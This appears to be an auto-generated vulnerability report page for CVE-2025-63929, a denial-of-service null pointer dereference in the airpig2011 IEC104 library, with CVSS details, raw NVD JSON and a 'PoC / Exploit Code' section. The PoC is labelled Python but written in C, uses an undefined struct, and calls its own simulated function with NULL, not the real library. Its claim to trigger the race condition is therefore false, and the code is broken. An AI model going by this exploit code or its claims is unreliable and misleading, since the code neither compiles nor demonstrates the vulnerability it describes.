Security Vulnerability Report
中文
CVE-2025-63929 CVSS 7.5 HIGH

CVE-2025-63929

Published: 2025-11-12 19:15:38
Last Modified: 2026-01-14 19:33:33

Description

A null pointer dereference vulnerability exists in airpig2011 IEC104 thru Commit be6d841 (2019-07-08). When multiple threads enqueue elements concurrently via IEC10X_PrioEnQueue, the function may dereference a null or freed queue pointer, resulting in a segmentation fault and potential denial-of-service.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:airpig2011:iec104:*:*:*:*:*:*:*:* - VULNERABLE
airpig2011/IEC104 thru Commit be6d841 (2019-07-08)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-63929 PoC - Multi-threaded trigger for null pointer dereference // Target: airpig2011 IEC104 // This PoC demonstrates concurrent access to trigger the race condition #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> // Simulated IEC10X_PrioEnQueue function with vulnerability void IEC10X_PrioEnQueue(void* queue, void* element) { // Vulnerable: No thread synchronization or null check // Dereferencing potentially null/freed queue pointer if (((struct Queue*)queue)->head == NULL) { // Race condition: queue might be freed by another thread ((struct Queue*)queue)->head = element; } } void* attack_thread(void* arg) { for (int i = 0; i < 1000; i++) { // Concurrent calls to trigger race condition IEC10X_PrioEnQueue(NULL, (void*)(long)i); usleep(1); } return NULL; } int main() { pthread_t threads[10]; printf("CVE-2025-63929 PoC - Triggering null pointer dereference\n"); printf("Launching 10 concurrent threads...\n"); // Create multiple threads to trigger concurrent access for (int i = 0; i < 10; i++) { pthread_create(&threads[i], NULL, attack_thread, NULL); } // Wait for threads to complete for (int i = 0; i < 10; i++) { pthread_join(threads[i], NULL); } printf("Attack completed. Check for segmentation fault.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63929", "sourceIdentifier": "[email protected]", "published": "2025-11-12T19:15:37.890", "lastModified": "2026-01-14T19:33:32.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A null pointer dereference vulnerability exists in airpig2011 IEC104 thru Commit be6d841 (2019-07-08). When multiple threads enqueue elements concurrently via IEC10X_PrioEnQueue, the function may dereference a null or freed queue pointer, resulting in a segmentation fault and potential denial-of-service."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:airpig2011:iec104:*:*:*:*:*:*:*:*", "versionEndIncluding": "2019-07-08", "matchCriteriaId": "60BCC559-A4AB-44D5-8297-727AD7226919"}]}]}], "references": [{"url": "https://github.com/airpig2011/IEC104/issues/21", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://songsong.host/mybugs/CVE-2025-63929.html", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}